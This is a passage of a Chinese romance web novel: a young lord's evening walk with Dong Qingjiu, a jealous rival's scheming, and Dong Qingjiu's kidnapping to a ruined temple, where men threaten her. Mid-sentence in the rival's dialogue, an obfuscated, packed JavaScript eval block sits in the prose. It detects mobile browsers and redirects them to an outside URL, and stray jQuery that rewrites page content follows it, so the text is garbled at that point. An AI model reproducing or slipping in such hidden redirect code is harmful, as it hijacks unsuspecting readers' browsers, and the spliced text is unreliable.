刚踏出门口,晚风吹来,带着草木的清香,瞬间吹散了内里的喧嚣。“什么事这么神秘?”她转头看向连衡,眼底满是好奇。
连衡挠挠头,脸上带着几分赧然,语气诚恳:“本来今天我想单独约你出来的……谁知道崔青和元无期听说有傀儡戏,非要跟着来,我实在推不过,就只能带他们一起了。”
东清酒闻言,忍不住笑了起来,眉眼弯弯:“我还以为是什么大事呢。一起玩也挺好的呀,你看,清漪不也跟着来了吗?人多更热闹。”
她抬头望向夜空,一轮明月高悬,清辉洒在地上,温柔又静谧,“多好的月色,要不我们走走吧?”
“好。”连衡几乎没有丝毫犹豫,眼底带着温柔的笑意,目光紧紧追随着她的身影。
无论东清酒说什么,他总是这样毫不犹豫地应下,仿佛她的每一个提议,都是他最想奔赴的约定。
夜色渐浓,街边的灯笼次第亮起,暖黄的光晕洒在青石板路上,映得两人的身影忽长忽短。
人群中,一个约莫七八岁的小女孩挎着竹篮,篮里装着些路边采摘的野花,粉白的雏菊、浅紫的苦苣菜,用草绳胡乱捆着,看着虽不名贵,却带着几分山野的鲜活。
她踮着脚尖,穿梭在行人之间,声音软糯却带着几分急切:“哥哥姐姐,买些花吧,好看的花呀……公子,买束花送给身边的姑娘呗!”可来往行人要么匆匆赶路,要么低头闲谈,没多少人对这束野花感兴趣,女孩的声音渐渐低了下去,脸上满是愁容。
正无措之际,她眼角余光瞥见并肩而行的连衡与东清酒,眼睛一亮,立刻锁定了看起来温和好说话的连衡。
只见她脚下一“绊”,带着几分刻意的激动,整个人往前一扑,竹篮脱手,野花散了一地,她顺势坐在地上,捂着膝盖哼哼:“哎呦,哎呦!好痛呀!”
连衡连忙上前,伸手扶起她,语气带着几分了然的温和:“小朋友,别装啦,这些花我都要了,好不好?”
女孩眨了眨圆溜溜的眼睛,小脸上的窘迫一闪而过,被人识破计谋后,也不扭捏,麻利地站起身,拍了拍衣角的灰尘。
连衡从钱袋里掏出一锭银子,递到她手里:“拿着,够你给母亲买药了。”
那孩子眼睛瞬间亮了,接过银子紧紧攥在手里,对着连衡深深鞠了一躬,转身就跑,脚步快得像身后有什么在追赶,想来是怕连衡反悔,又或是急着回家给母亲抓药。
连衡蹲下身子,小心翼翼地捡起地上散落的野花,花瓣上沾了些尘土,他也不在意。
东清酒笑着陪他一起捡,衣袖扫过地面沾灰,她也没空打理,只专注地把一朵朵花拾起来,递到连衡手里。
“你怎么直接给那孩子一锭银子?”东清酒一边递花,一边好奇地问,那锭银子足够买上很多篮这样的花了。
“她家中有位生病的老母亲,上次我路过她们家巷口,见她跪在路边哭,便叫了大夫去看,也给了些银两。”连衡抱着怀里的花,语气平淡,却带着暖意,“想来是药钱又不够了,这孩子才想着上街卖花。
她年纪小,能想到这样的挣钱方式,不去偷不去抢,已经很不容易了。”
东清酒闻言,心里涌上一股暖意,看着连衡的眼神一笑。
花很快捡完了,她把手里最后几朵花递到连衡怀里,看着他抱着一大束野花的模样,忍不住笑了。
她抬手拍拍手上的灰尘,从袖中掏出一方素色帕子,见连衡额角沁出细密的汗珠,便自然地抬手,轻轻帮他擦拭。
帕子的柔软触感划过肌肤,连衡微微一怔,眼底泛起温柔的笑意,任由她动作。
这一幕,恰好被不远处的裴若若看在眼里。
她本是出来散心,却撞见这刺眼的画面,胸口的醋意瞬间翻涌上来,几乎要溢出来。裴若若快步上前,声音带着几分刻意的拔高:“小侯爷!”目光却带着异样的审视,直直落在东清酒身上,那眼神里的敌意与不满,毫不掩饰。
“东姑娘,二位这是在干嘛?”裴若若的声音柔得发腻,眼神却像带着针,在两人之间来回打转。
东清酒挑眉,快言快语地接话:“在逛街、在赏月,顺带……约会呀。”语气坦荡又带着几分戏谑,丝毫没给裴若若留面子。
裴若若的指尖攥得发白,硬生生忍着没发作,目光落在连衡怀里的野花上,故作惊讶:“这花?!”
东清酒见她盯着花不放,以为她是感兴趣,便伸手从连衡怀里抽出那束花,递了过去:“裴姑娘若是喜欢,便拿去好了,不值什么钱。”
谁知她的手还没碰到裴若若,身边的侍女便猛地推了她一把,语气尖酸刻薄:“这位姑娘怎么回事?你可知我们家小姐身上的衣服有多金贵?碰坏了,你赔得起吗?”
东清酒本就没什么耐心应付这种仗势欺人的下人,被推得一个趔趄后,火气瞬间上来,反手就推了回去。那侍女没料到她敢反抗,踉跄着后退了好几步,差点摔倒。
“你们小姐都没说话,我见她喜欢花才递过去,你一个下人,怎么这么没礼貌?”东清酒叉着腰,眼神凌厉,丝毫不让步。
“东姑娘!”裴若若故作嗔怪地喊了一声,眼底却藏着笑意。
连衡站在一旁,目光牢牢锁在东清酒身上,瞧着她叉腰发火,非但不觉得失礼,反而觉得可爱得紧,嘴角忍不住勾起一抹宠溺的笑意,眼底的温柔满满。
裴若若将这一切看在眼里,心里的不悦更甚,却又发作不得。
她眼珠一转,身体猛地一软,便想往连衡怀里倒去。
可连衡早有察觉,伸手稳稳地扶住她的胳膊,力道适中,既没让她摔倒,也没让她靠得太近。
“裴姑娘若是身体不适,便早些回去休息吧,免得吹了夜风加重病情。”连衡的语气依旧温和,却带着明显的疏离。
裴若若的侍女见状,连忙上前扶住她,顺手将东清酒递过来的花抱在怀里,替自家小姐说道:“多谢小侯爷关心,这花是小侯爷送若若的,若若一定好好打理,既然如此,我们就不打扰二位游玩了,若若先回去了。东姑娘若是有空,不妨来我裴府坐坐,也好让若若尽主家之谊。”
“一定。”东清酒笑得敷衍,心里却暗自腹诽。
看着裴若若和侍女远去的背影,东清酒立刻学着裴若若的语气,捏着嗓子茶言茶语起来:“……若若一定好好打理这花呀……巴拉巴拉……”模仿得惟妙惟肖,逗得连衡忍不住笑出了声。
他就是爱看她这样鲜活的模样,爱听她毫无顾忌的笑声,这个偶尔调皮,偶尔炸毛的小可爱,早已悄悄住进了他心里。
另一边,裴若若刚走出不远,脸上的温婉便瞬间消失,取而代之的是一片阴鸷。
侍女在一旁愤愤不平:“姑娘,那东清酒也太猖狂了!竟然敢推奴婢,还不把姑娘您放在眼里!”
“别急。”裴若若的声音冰冷,眼底闪过一丝狠戾,“先让她得意几天,让她赢了这一局,日后再让她死得难看。”
“可这样对姑娘您太不公平了!小侯爷分明对她另眼相看……”
裴若若脚步一顿,又继续往前走,语气带着几分不屑:“公平?这世上本就没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012539|190547||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝对的公平。我们要做的,就是利用这份不公平。”她冷笑一声,“东清酒不过是个突然冒出来的女子,无依无靠,就算哪天真的消失了,也不会是什么大事,小侯爷现在不过是新鲜罢了,他终究是侯府公子,怎么可能真的看上一个乡野村妇?”
“那姑娘您打算怎么做?”侍女连忙追问,眼底闪过一丝兴奋。
裴若若嘴角勾起一抹阴恻恻的笑,凑近侍女耳边,低声说了几句,字字句句都透着算计。
夜色中,她的身影显得格外狰狞,仿佛一只蛰伏的毒蛇,正等着给东清酒致命一击。
裴若若从来不是任人拿捏的小白花。
自小在权贵家族中耳濡目染,她早已练就一身狠戾与算计,只要是她盯上的东西,无论付出什么代价,都必须攥在手里。
家族的荣耀与地位是如此,连衡这颗她从小就认定的“囊中之物”,自然也不例外。
谁也别想从她身边夺走任何东西,东清酒也不行。
东清酒在云想楼的房间里睡得正沉,窗外忽然飘进一缕极淡的异香,带着几分甜腻,悄无声息地钻入鼻腔。
她只觉得眼皮越来越重,意识渐渐模糊,最后彻底失去了知觉。
就在这时,几道黑影破窗而入,动作利落得像鬼魅,扛起昏迷的东清酒便往外走。
刚到后院,就撞见了守在附近的江渭。他是楼为桉特意留下保护东清酒的,见状立刻拔刀,与黑衣人缠斗起来。
江渭的武功不算弱,可对方显然是有备而来,人数众多且出手狠辣。
刀锋相撞的脆响划破夜空,江渭以一敌众,渐渐落入下风。
混乱中,一名黑衣人找准破绽,一刀刺中他的臂膀,鲜血瞬间染红了衣袖。江渭闷哼一声,力道渐卸,眼睁睁看着黑衣人扛着东清酒消失在夜色中,最终体力不支,单膝跪地。
勉强撑着回到楼府时,江渭的脸色惨白如纸,臂膀的伤口还在不断渗血。
“百炎,快……通知少主,东姑娘被人掳走了!”
百炎闻言,不敢耽搁,立刻冲进内院禀报。
此时楼为桉刚躺下,听闻消息,瞬间睡意全无,迅速起身穿衣,动作快得不带一丝犹豫。房门“砰”地一声被推开,他眼底满是焦灼与冷厉,沉声道:“人在哪?”
“江渭与黑衣人交手时受了伤,”百炎连忙回道,“好在他早有准备,在其中一名黑衣人身上留下了特制的花粉,我们可以循着气味找到他们!”
“那还等什么?走!”楼为桉抬腿就往外走,语气里的急切几乎要溢出来,丝毫不见平日的沉稳。
“等等,少主!”百炎连忙叫住他,“你就这样去?不做些准备?”
“不必,救她要紧!”楼为桉的声音已经远了。
另一边,东清酒被黑衣人带到了城郊的一间破庙里。
庙内蛛网密布,尘埃遍地,只有几束月光从破损的屋顶漏进来,照亮了满地的碎石。她悠悠转醒,一睁眼就看见几个凶神恶煞的男人围着自己,吓得心脏猛地一跳,脱口而出:“我的妈呀,你们是谁?”
“小妮子长得还挺标志。”一个满脸横肉的黑衣人盯着她,眼神贪婪,伸出手就想摸她的脸颊。
东清酒下意识一躲,脑子飞速运转,脸上立刻堆起讨好的笑:“大哥,大哥们!我就是个普通人,开了家小酒肆讨生活,跟你们无冤无仇,你们可否高抬贵手放了我?我店里还有些现银,你们要多少我都给,可好?”
那人却不买账,咧嘴一笑,再次伸手:“你这美色,可不是银子能衡量的。”